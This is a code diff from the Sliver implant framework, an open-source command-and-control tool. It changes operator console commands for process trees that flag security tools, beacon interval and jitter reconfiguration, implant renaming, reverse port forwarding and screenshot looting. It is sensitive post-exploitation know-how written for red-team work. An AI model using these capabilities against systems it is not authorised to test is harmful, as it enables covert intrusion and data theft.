@@ -134,8 +192,8 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "pid", Mode: table.Asc},
|
||||
{Name: "ppid", Mode: table.Asc},
|
||||
{Name: "pid", Mode: table.AscNumeric},
|
||||
{Name: "ppid", Mode: table.AscNumeric},
|
||||
})
|
||||
if !interactive {
|
||||
overflow = true
|
||||
@@ -182,6 +240,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, args),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
}
|
||||
@@ -190,6 +249,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
}
|
||||
@@ -210,6 +270,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, args),
|
||||
}
|
||||
} else {
|
||||
@@ -217,6 +278,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
}
|
||||
}
|
||||
@@ -239,3 +301,11 @@ func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleC
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
// SortProcessesByPID - Sorts a list of processes by PID
|
||||
func SortProcessesByPID(ps []*commonpb.Process) []*commonpb.Process {
|
||||
sort.Slice(ps, func(i, j int) bool {
|
||||
return ps[i].Pid < ps[j].Pid
|
||||
})
|
||||
return ps
|
||||
}
|
||||
@@ -0,0 +1,149 @@
|
||||
package processes
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/xlab/treeprint"
|
||||
)
|
||||
|
||||
// A PsTree is a tree of *commonpb.Process
|
||||
type PsTree struct {
|
||||
printableTree treeprint.Tree // only used for rendering
|
||||
implantPID int32
|
||||
procTree *node // used to hold the tree structure
|
||||
}
|
||||
|
||||
type node struct {
|
||||
Value *commonpb.Process // The process information
|
||||
Children map[int32]*node // The children of this node
|
||||
Parent *node // The parent of this node
|
||||
}
|
||||
|
||||
// NewPsTree creates a new PsTree
|
||||
func NewPsTree(pid int32) *PsTree {
|
||||
return &PsTree{
|
||||
printableTree: treeprint.New(),
|
||||
implantPID: pid,
|
||||
procTree: &node{Value: &commonpb.Process{Pid: -1}},
|
||||
}
|
||||
}
|
||||
|
||||
func (n *node) insert(proc *commonpb.Process) {
|
||||
if n.Value == nil {
|
||||
n.Value = proc
|
||||
return
|
||||
}
|
||||
if parent := n.findParent(proc); parent != nil {
|
||||
if parent.Children == nil {
|
||||
parent.Children = make(map[int32]*node)
|
||||
}
|
||||
parent.Children[proc.Pid] = &node{Value: proc, Parent: parent}
|
||||
} else {
|
||||
if n.Children == nil {
|
||||
n.Children = make(map[int32]*node)
|
||||
}
|
||||
n.Children[proc.Pid] = &node{Value: proc, Parent: n}
|
||||
}
|
||||
}
|
||||
|
||||
func (n *node) findParent(proc *commonpb.Process) *node {
|
||||
if n.Value == nil {
|
||||
return nil
|
||||
}
|
||||
if n.Value.Pid == proc.Ppid {
|
||||
return n
|
||||
}
|
||||
for _, child := range n.Children {
|
||||
if p := child.findParent(proc); p != nil {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func reorder(root *node) {
|
||||
toDelete := make([]int32, 0)
|
||||
for pid, child := range root.Children {
|
||||
// skip root node
|
||||
if child.Value.Pid == -1 {
|
||||
continue
|
||||
}
|
||||
// Skip edge case of [System Process] on Windows
|
||||
if child.Value.Ppid == pid {
|
||||
continue
|
||||
}
|
||||
// only focus on children without parent
|
||||
if child.Parent.Value.Pid == -1 {
|
||||
if parent := root.findParent(child.Value); parent != nil {
|
||||
child.Parent = parent
|
||||
if parent.Children == nil {
|
||||
parent.Children = make(map[int32]*node)
|
||||
}
|
||||
// copy to new parent
|
||||
parent.Children[pid] = child
|
||||
// mark for deletion
|
||||
toDelete = append(toDelete, pid)
|
||||
}
|
||||
}
|
||||
}
|
||||
// delete children that were moved
|
||||
for _, pid := range toDelete {
|
||||
delete(root.Children, pid)
|
||||
}
|
||||
}
|
||||
|
||||
func (t *PsTree) AddProcess(proc *commonpb.Process) {
|
||||
t.procTree.insert(proc)
|
||||
}
|
||||
|
||||
func (t *PsTree) filterProc(proc *commonpb.Process) string {
|
||||
color := console.Normal
|
||||
if proc.Pid == t.implantPID {
|
||||
color = console.Green
|
||||
}
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = secTool[0]
|
||||
}
|
||||
return fmt.Sprintf(color+"%s"+console.Normal, proc.Executable)
|
||||
}
|
||||
|
||||
func (t *PsTree) String() string {
|
||||
reorder(t.procTree)
|
||||
return t.Print()
|
||||
}
|
||||
|
||||
func (t *PsTree) Print() string {
|
||||
topLevelPIDs := make([]int, 0, len(t.procTree.Children))
|
||||
for k := range t.procTree.Children {
|
||||
topLevelPIDs = append(topLevelPIDs, int(k))
|
||||
}
|
||||
sort.Ints(topLevelPIDs)
|
||||
for _, pid := range topLevelPIDs {
|
||||
current := t.printableTree.AddMetaBranch(pid, t.filterProc(t.procTree.Children[int32(pid)].Value))
|
||||
t.addToTree(current, t.procTree.Children[int32(pid)].Children)
|
||||
}
|
||||
return t.printableTree.String()
|
||||
|
||||
}
|
||||
|
||||
func (t *PsTree) addToTree(tree treeprint.Tree, procs map[int32]*node) {
|
||||
for pid, proc := range procs {
|
||||
if proc.Value.Pid == -1 {
|
||||
continue
|
||||
}
|
||||
procName := t.filterProc(proc.Value)
|
||||
|
||||
procNode := tree.FindByMeta(pid)
|
||||
if procNode == nil {
|
||||
if len(proc.Children) > 0 {
|
||||
procNode = tree.AddMetaBranch(pid, procName)
|
||||
} else {
|
||||
procNode = tree.AddMetaNode(pid, procName)
|
||||
}
|
||||
}
|
||||
t.addToTree(procNode, proc.Children)
|
||||
}
|
||||
}
|
||||
@@ -30,8 +30,9 @@ import (
|
||||
|
||||
// TerminateCmd - Terminate a process on the remote system
|
||||
func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
con.PrintErrorf("No active session or beacon\n")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -41,6 +42,10 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Pid: int32(pid),
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Terminate failed: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if terminated.Response != nil && terminated.Response.Async {
|
||||
con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
|
||||
@@ -19,6 +19,7 @@ package reaction
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
@@ -29,9 +30,10 @@ import (
|
||||
|
||||
// ReactionSaveCmd - Manage reactions to events
|
||||
func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
|
||||
reactionPath := GetReactionFilePath()
|
||||
if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
@@ -41,6 +43,6 @@ func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Saved reactions to disk\n")
|
||||
con.PrintInfof("Saved reactions to disk (%s)\n", reactionPath)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
Reconfig
|
||||
=========
|
||||
|
||||
Commands used to reconfigure beacon/session times and metadata
|
||||
@@ -0,0 +1,96 @@
|
||||
package reconfig
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ReconfigCmd - Reconfigure metadata about a sessions
|
||||
func ReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
var err error
|
||||
var reconnectInterval time.Duration
|
||||
if ctx.Flags.String("reconnect-interval") != "" {
|
||||
reconnectInterval, err = time.ParseDuration(ctx.Flags.String("reconnect-interval"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid reconnect interval: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
var beaconInterval time.Duration
|
||||
var beaconJitter time.Duration
|
||||
if beacon != nil {
|
||||
if ctx.Flags.String("beacon-interval") != "" {
|
||||
beaconInterval, err = time.ParseDuration(ctx.Flags.String("beacon-interval"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid beacon interval: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if ctx.Flags.String("beacon-jitter") != "" {
|
||||
beaconJitter, err = time.ParseDuration(ctx.Flags.String("beacon-jitter"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid beacon jitter: %s\n", err)
|
||||
return
|
||||
}
|
||||
if beaconInterval == 0 && beaconJitter != 0 {
|
||||
con.PrintInfof("Modified beacon jitter will take effect after next check-in\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
|
||||
ReconnectInterval: int64(reconnectInterval),
|
||||
BeaconInterval: int64(beaconInterval),
|
||||
BeaconJitter: int64(beaconJitter),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if reconfig.Response != nil && reconfig.Response.Async {
|
||||
con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, reconfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Reconfigured beacon\n")
|
||||
})
|
||||
con.PrintAsyncResponse(reconfig.Response)
|
||||
} else {
|
||||
con.PrintInfof("Reconfiguration complete\n")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
package reconfig
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// RecnameCmd - Reconfigure metadata about a sessions
|
||||
func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Option to change the agent name
|
||||
name := ctx.Flags.String("name")
|
||||
if err := util.AllowedName(name); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var beaconID string
|
||||
var sessionID string
|
||||
if beacon != nil {
|
||||
beaconID = beacon.ID
|
||||
} else if session != nil {
|
||||
sessionID = session.ID
|
||||
}
|
||||
_, err := con.Rpc.Rename(context.Background(), &clientpb.RenameReq{
|
||||
SessionID: sessionID,
|
||||
BeaconID: beaconID,
|
||||
Name: name,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Renamed implant to %s\n", name)
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package rportfwd
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"regexp"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
|
||||
)
|
||||
|
||||
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
|
||||
func StartRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
if session.GetActiveC2() == "dns" {
|
||||
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
|
||||
}
|
||||
|
||||
bindAddress := ctx.Flags.String("bind")
|
||||
// Check if the bind address is just a port number, if no host is specified
|
||||
// we just bind to all interfaces implant-side
|
||||
if portNumberOnlyRegexp.MatchString(bindAddress) {
|
||||
bindAddress = fmt.Sprintf(":%s", bindAddress)
|
||||
}
|
||||
|
||||
forwardAddress := ctx.Flags.String("remote")
|
||||
// Check if the forward address is just a port number, if no host is specified
|
||||
// we just forward to localhost client-side
|
||||
if portNumberOnlyRegexp.MatchString(forwardAddress) {
|
||||
forwardAddress = fmt.Sprintf("127.0.0.1:%s", forwardAddress)
|
||||
}
|
||||
rportfwdListener, err := con.Rpc.StartRportFwdListener(context.Background(), &sliverpb.RportFwdStartListenerReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
BindAddress: bindAddress,
|
||||
ForwardAddress: forwardAddress,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
printStartedRportFwdListener(rportfwdListener, con)
|
||||
}
|
||||
|
||||
func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
|
||||
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
|
||||
con.PrintErrorf("%s", rportfwdListener.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package rportfwd
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
|
||||
func StopRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
listenerID := ctx.Flags.Int("id")
|
||||
rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
ID: uint32(listenerID),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
printStoppedRportFwdListener(rportfwdListener, con)
|
||||
}
|
||||
|
||||
func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
|
||||
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
|
||||
con.PrintErrorf("%s", rportfwdListener.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Stopped reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
package rportfwd
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
|
||||
func RportFwdListenersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
PrintRportFwdListeners(rportfwdListeners, ctx.Flags, con)
|
||||
}
|
||||
|
||||
func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags grumble.FlagMap, con *console.SliverConsoleClient) {
|
||||
if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", rportfwdListeners.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
if len(rportfwdListeners.Listeners) == 0 {
|
||||
con.PrintInfof("No reverse port forwards\n")
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Remote Address",
|
||||
"Bind Address",
|
||||
})
|
||||
for _, p := range rportfwdListeners.Listeners {
|
||||
tw.AppendRow(table.Row{
|
||||
p.ID,
|
||||
p.ForwardAddress,
|
||||
p.BindAddress,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -57,6 +57,10 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
saveTo := ctx.Flags.String("save")
|
||||
|
||||
hostname := getHostname(session, beacon)
|
||||
if screenshot.Response != nil && screenshot.Response.Async {
|
||||
con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
@@ -65,11 +69,31 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintScreenshot(screenshot, hostname, ctx, con)
|
||||
if saveLoot {
|
||||
if len(screenshot.Data) > 0 {
|
||||
LootScreenshot(screenshot, lootName, hostname, con)
|
||||
} else {
|
||||
con.PrintErrorf("Cannot loot screenshot because it contained no data")
|
||||
}
|
||||
}
|
||||
|
||||
if !saveLoot || saveTo != "" {
|
||||
PrintScreenshot(screenshot, hostname, ctx, con)
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(screenshot.Response)
|
||||
} else {
|
||||
PrintScreenshot(screenshot, hostname, ctx, con)
|
||||
if saveLoot {
|
||||
if len(screenshot.Data) > 0 {
|
||||
LootScreenshot(screenshot, lootName, hostname, con)
|
||||
} else {
|
||||
con.PrintErrorf("Cannot loot screenshot because it contained no data")
|
||||
}
|
||||
}
|
||||
|
||||
if !saveLoot || saveTo != "" {
|
||||
PrintScreenshot(screenshot, hostname, ctx, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -88,7 +112,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
|
||||
return
|
||||
}
|
||||
} else {
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating file: %s\n", err)
|
||||
return
|
||||
@@ -103,14 +127,18 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
|
||||
}
|
||||
|
||||
con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n)))
|
||||
if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
|
||||
err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), saveToFile.Name(), screenshot.Data, false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Output saved as loot\n")
|
||||
}
|
||||
}
|
||||
|
||||
func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverConsoleClient) {
|
||||
timeNow := time.Now().UTC()
|
||||
screenshotFileName := fmt.Sprintf("screenshot_%s_%s.png", hostName, timeNow.Format("20060102150405"))
|
||||
|
||||
if lootName == "" {
|
||||
lootName = screenshotFileName
|
||||
}
|
||||
|
||||
lootMessage := loot.CreateLootMessage(screenshotFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, screenshot.GetData())
|
||||
loot.SendLootMessage(lootMessage, con)
|
||||
}
|
||||
|
||||
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
|
||||
@@ -61,7 +61,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
|
||||
for _, session := range sessions.Sessions {
|
||||
keys = append(keys, session.ID)
|
||||
}
|
||||
sort.Strings(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
sort.Strings(keys)
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
@@ -89,7 +89,7 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
// No flags, parse the current beacon's ActiveC2 instead
|
||||
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
if len(c2s) == 0 {
|
||||
con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
|
||||
c2url, err := url.Parse(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
@@ -111,6 +111,8 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, wgC2...)
|
||||
case "https":
|
||||
fallthrough
|
||||
case "http":
|
||||
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
|
||||
@@ -41,7 +41,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.IsDead {
|
||||
con.Printf("Pruning session %s ... ", session.ID)
|
||||
err = kill.KillSession(session, true, con)
|
||||
err = kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failed!\n")
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -1,69 +0,0 @@
|
||||
package sessions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// SessionsReconfigCmd - Reconfigure metadata about a sessions
|
||||
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
